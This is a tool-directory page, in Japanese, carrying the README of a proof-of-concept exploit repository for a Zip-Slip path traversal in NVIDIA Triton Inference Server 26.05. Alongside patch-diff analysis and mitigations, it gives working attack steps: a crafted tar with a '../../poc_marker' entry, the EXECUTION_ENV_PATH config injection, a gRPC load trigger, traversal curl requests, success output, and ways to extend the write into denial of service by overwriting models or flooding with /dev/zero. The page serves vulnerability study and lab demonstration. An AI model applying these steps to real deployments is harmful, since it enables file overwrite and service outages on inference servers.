Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-47627 — # CVE-2026-47627の概念実証エクスプロイト NVIDIA Triton Inference Serverにおけるパストラバーサル脆弱性(Zip-Slip経由の任意ファイル書き込みにつながる)の概念実証エクスプロイトです。詳細な分析、ラボ環境、ワンクリックエクスプロイトスクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/anekazek/cve-2026-47627
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubanekazek/cve-2026-47627

cve-2026-47627

# CVE-2026-47627の概念実証エクスプロイト NVIDIA Triton Inference Serverにおけるパストラバーサル脆弱性(Zip-Slip経由の任意ファイル書き込みにつながる)の概念実証エクスプロイトです。詳細な分析、ラボ環境、ワンクリックエクスプロイトスクリプトを含みます。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-47627 — NVIDIA Triton Inference Server パストラバーサル → DoS(Zip-Slip)

このリポジトリにおける調査結果とPoCの完全なWriteup(イメージ nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0)。リポジトリは常に explicit に設定されており、gRPC経由で再起動なしのPoCが可能です。


目次

  1. CVE概要
  2. ラボ環境
  3. 脆弱性の構造
  4. 根本原因分析(26.05 → 26.06 の差分)
  5. 攻撃経路:実際に影響を受けるのはどれか?
  6. 主要PoC:EXECUTION_ENV_PATH経由のZip-Slip
  7. PoCの実行方法(ワンクリック)
  8. トラバーサルの証拠(偽の500ではない)
  9. DoSの影響
  • 緩和策
  • リポジトリ構造(整理後)
  • 参照情報とタイムライン

  • 1. CVE概要

    フィールド値
    CVECVE-2026-47627
    CNA[email protected]
    公開日2026-08-18(NVD 分析待ち)
    BulletinNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 パストラバーサル
    影響を受けるバージョン0.0-26.05(server v2.69.0 / core r26.05)
    修正バージョン26.06(server v2.70.0 / core r26.06)
    影響DoS(CNAの説明)— 本調査ではZip-Slipによる /models外へのファイル書き込み を実証。DoS/リソース枯渇に拡張可能
    クレジットMartin Brodeur

    正直な注記: CNAの説明は パストラバーサル → DoS のみで詳細なし。本Writeupでは r26.05..r26.06 の差分 と 26.05-py3 コンテナでの直接テスト によりバグの位置を再構築しています。


    2. ラボ環境

    イメージ: nvcr.io/nvidia/tritonserver:26.05-py3(TRITON_VERSION 2.69.0)

    Composeは常に explicit(このリポジトリではパッチ済み):

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    run_triton.bat:10、run_triton.ps1:11、run_triton.sh:12 も explicit に設定済み。

    Tritonのモード:

    • NONE(デフォルトのアップストリーム)→ 起動時に一度だけロード、POST /v2/repository/models/.../load → 503、新しいモデルのロードには再起動が必要。
    • POLL → リポジトリを毎秒スキャン、自動ロード、明示的なロードは引き続きブロック。
    • EXPLICIT(このリポジトリ)→ スキャンしないが、gRPC load_model / POST /load を許可 → gRPC経由で再起動なしのPoCが可能。

    ポート: | 8000 | HTTP REST | v2/health、v2/models、v2/repository | | 8001 | gRPC | RepositoryModelLoad、ModelInfer | | 8002 | Metrics | Prometheus |

    初期モデル:

    root@kitploit:~
    model_repository/
    ├── echo_python/ (python backend, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    クイックスタート:

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + identity_onnx の推論
    

    3. 脆弱性の構造

    root@kitploit:~
    ユーザー入力 (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► "child が parent 内か?" チェック ──► ファイルを開く
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' チェック    FileExists / extract
    
    • join に canonicalize がない場合、または rfind(parent,0)==0 のチェックが誤っている場合(部分一致 /models vs /models_evil)、../ でエスケープ可能。
    • DoS は、トラバース対象のファイルがFIFO、/dev/zero、/proc/self/mem の場合、または ../../ を含むtarがシステムファイルを上書きする場合に発生 → ハング / OOM / クラッシュ。

    3つの調査質問(初期レポートより):

    1. ユーザーがパスを制御できる場所はどこか? → gRPC RepositoryModelLoad の model_name、tarエントリの EXECUTION_ENV_PATH、file: オーバーライド、TRITON_BATCH_STRATEGY_PATH。
    2. パスはどのように使用されるか? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath。
    3. 影響は何か? → リソース枯渇 / ハングによる DoS。このリポジトリでは /tmp/poc_marker への ファイル書き込み を実証。

    4. 根本原因分析(26.05 → 26.06 の差分)

    core リポジトリ(r26.05..r26.06):

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — 修正 dcb315d + 72f3d9b:

      root@kitploit:~
      // 脆弱(r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → 部分一致バグ: "/models" プレフィックスが "/models_evil/file" を内部と誤判定
      
      // 修正済み(r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → プレフィックス後に '/' が必要、"/models_evil" は正しく外部と判定
      

      src/backend_model.cc:196(TRITON_BATCH_STRATEGY_PATH)と src/model_repository_manager/model_repository_manager.cc:162(file:)で使用。

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481(2026年3月、26.05には既に存在、26.06で強化):

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      これにより、26.05では gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT(ブロック済み)。ただし %2f(エンコードされた /)はリテラルの / ではないため通過 → リテラルポーリングで 500。

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 テスト zipslip_test.py: Tarは .. / 絶対パスのチェックなしで抽出される。/models/poc_exploit/malicious_env.tar.gz のエントリ ../../poc_marker は /tmp/poc_marker(モデルディレクトリ外)に抽出される。26.06での修正: ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + IsChildPathEscapingParentPath チェックを使用。

    server リポジトリ(r26.05..r26.06): sagemaker_server.cc:1027(RE2::FullMatch チェック)+ http_server.cc:2440(atoi→stoi)のみで、このCVEの経路ではない。

    結論: HTTP/gRPC経由の model_name パスは26.05で ValidateModelName により ブロック済み だが、tarのZip-Slipは未対策 — これがこのリポジトリのPoCで悪用される経路。


    5. 攻撃経路:実際に影響を受けるのはどれか?

    ベクターペイロード26.05の結果影響あり?
    HTTP 生の ../POST /v2/repository/models/../tmp/pwn/load404(ルーティング正規化)❌
    HTTP エンコード ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 リテラル、ポーリング /models/..%2ftmp%2fpwn は存在しない❌(偽の500、トラバーサルではない)
    gRPC 生の ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌(ブロック済み)
    gRPC エンコード ..%2fload_model('..%2ftmp%2fpwn')500 リテラルポーリング❌
    file: オーバーライド ../models_evilfile:../models_evil/pwn部分一致により 400/500⚠️(IsChildPathEscapingParentPath バグに依存、ただし model_name は ValidateModelName でブロック済み)
    EXECUTION_ENV_PATH tar ../../poc_markermalicious_env.tar.gz エントリ ../../poc_marker200 + /tmp/poc_marker にファイル✅ 脆弱

    以前のWriteupの 500 vs 400 の類推は誤り: 500 = ファイルが存在しない(ドアがない)、400 = 検証で拒否(ドアが施錠されている)。どちらも侵入できない。200 + /tmp へのファイル書き込みのみが証拠。


    6. 主要PoC:EXECUTION_ENV_PATH経由のZip-Slip

    アイデア: Pythonバックエンドのパラメータ EXECUTION_ENV_PATH が $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz を指す。load_model('poc_exploit') 時に、バックエンド pb_env.cc:292 がサニタイズなしでtarを抽出。エントリ ../../poc_marker が .../poc_exploit/ から /tmp/poc_marker へエスケープ。

    PoCの手順(scripts/exploit.py:28 & exploit.ps1:20 で自動化):

    1. echo_python を poc_exploit にコピー(scripts/exploit.py:35)
    2. config.pbtxt に追記(scripts/exploit.py:40):
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. tarを作成(scripts/exploit.py:44):
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. gRPC load_model('poc_exploit') をトリガー(scripts/exploit.py:60)— explicit のため 再起動なし。
    5. 検証 docker exec tritonserver-test cat /tmp/poc_marker → pwned(scripts/exploit.py:81)

    7. PoCの実行方法(ワンクリック)

    前提条件: Docker、26.05-py3 イメージ、docker compose up -d 実行済み(リポジトリは explicit 設定済み)。

    Python(再起動なし、gRPC経由):

    root@kitploit:~
    py scripts/exploit.py              # explicit を自動検出 → gRPC
    py scripts/exploit.py --keep       # 手動確認用にアーティファクトを保持
    # 手動確認: docker exec tritonserver-test cat /tmp/poc_marker
    # 手動クリーンアップ: docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell:

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    MODE_NONE に戻す場合(デフォルトのアップストリーム動作が必要な場合):

    root@kitploit:~
    # docker-compose.yml:12 を編集し --model-control-mode=explicit を削除
    docker compose up -d --force-recreate
    

    ブロックのテスト(200ではなく400/404/500になるはず):

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # 旧リポジトリに存在、現在は削除 — exploit.py のログを使用
    # または手動:
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. トラバーサルの証拠(偽の500ではない)

    脆弱なバージョン(26.05)— exploit.py の出力:

    root@kitploit:~
    [*] gRPC load でエクスプロイトをトリガー(再起動なし)...
    [+] gRPC load 送信完了
    [+] 脆弱: /tmp/poc_marker が /models 外に存在
        cat: pwned
    [+] エクスプロイト成功 — リポジトリ外へのファイル書き込みを確認
    

    検証:

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    修正済み(26.06)— 期待される出力:

    root@kitploit:~
    [-] 脆弱ではない: /tmp/poc_marker が見つからない
    # ログ: Path contains '..'  (または Path is absolute)
    

    HTTP/gRPC の .. は500ではなく400になるはず:

    root@kitploit:~
    # 26.05 gRPC 生の ../ → 400 INVALID_ARGUMENT(ValidateModelName でブロック済み)
    # 26.05 gRPC ..%2f → 500 リテラルポーリング(検証をバイパスするが実際のトラバーサルではない)
    # 26.06 両方 → 400
    

    9. DoSの影響

    CNAは DoS と記載しているが、このZip-Slipは ファイル上書き が可能 → DoS:

    • 他のモデルの model.py / config.pbtxt を上書き → モデルのロード失敗 → 503
    • 大きな bin/activate または FIFO /tmp/fifo を含むtar → pb_env.cc のスレッドがハング → UNAVAILABLE
    • ../../dev/zero(無限)を含むtarで load_model をフラッディング → OOM

    このリポジトリはトラバーサルの証拠として ファイル書き込み に焦点を当てている。DoSは無限ループする 1/model.py を含むtarで拡張可能。


    10. 緩和策

    1. パッチ: 26.06(server v2.70.0、core r26.06)— IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT。
    2. 26.05の回避策:
      • 8000/8001 をインターネットに公開しない(リバースプロキシ + 認証)
      • WAFでURLと EXECUTION_ENV_PATH の .. & %2f をブロック
      • 不要な場合はPythonバックエンドの EXECUTION_ENV_PATH を無効化
    3. 検出: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. リポジトリ構造(整理後)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # python backend サンプル
    │   └── identity_onnx/        # onnxruntime サンプル
    ├── scripts/
    │   ├── exploit.py:1          # 主要PoC(Python、ワンクリック、gRPC、再起動なし)
    │   ├── generate_model.py     # identity_onnx の再生成
    │   └── client_test.py        # health + 推論テスト
    ├── exploit.ps1:1             # 主要PoC(PowerShell、ワンクリック)
    ├── docker-compose.yml:12     # 常に explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # 常に explicit
    ├── requirements.txt          # numpy、onnx、requests、tritonclient[http,grpc]、grpcio、protobuf
    └── README.md                 # 本Writeup
    

    削除済み: exploit_cve_*.py、poc_zipslip_simple.py、check_mode.py、test_http_grpc_blocked.py、cleanup_poc.py、test_poc.ps1、null、model_repository/zipslip_*、/tmp/poc_marker。


    12. 参照情報とタイムライン

    • Bulletin NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865(5865.md、CVE-2026-47627.json)
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627(分析待ち)
    • core r26.06 の修正コミット: dcb315d(子パスの近代化)、72f3d9b(子パステスト)、e520f8c7(zipslipテスト)、50830ba/66f09f8(ValidateModelName)
    • server r26.06 の修正: v2.70.0(690f9dd)
    • クレジット: Martin Brodeur
    日付イベント
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 POSIX trim
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 zipslipテスト
    2026-06-2626.06 / v2.70.0 パッチリリース
    2026-08-18CVE公開
    2026-09-02このPoCリポジトリが 26.05-py3 で検証 → VULNERABLE

    注記

    このPoCは 教育 & クローズドラボ を目的としています。認証なしで 8000/8001 を公開しないでください。デモ後は必ず exploit.py --keep を実行し、docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit を実行してください。

    ツールをダウンロード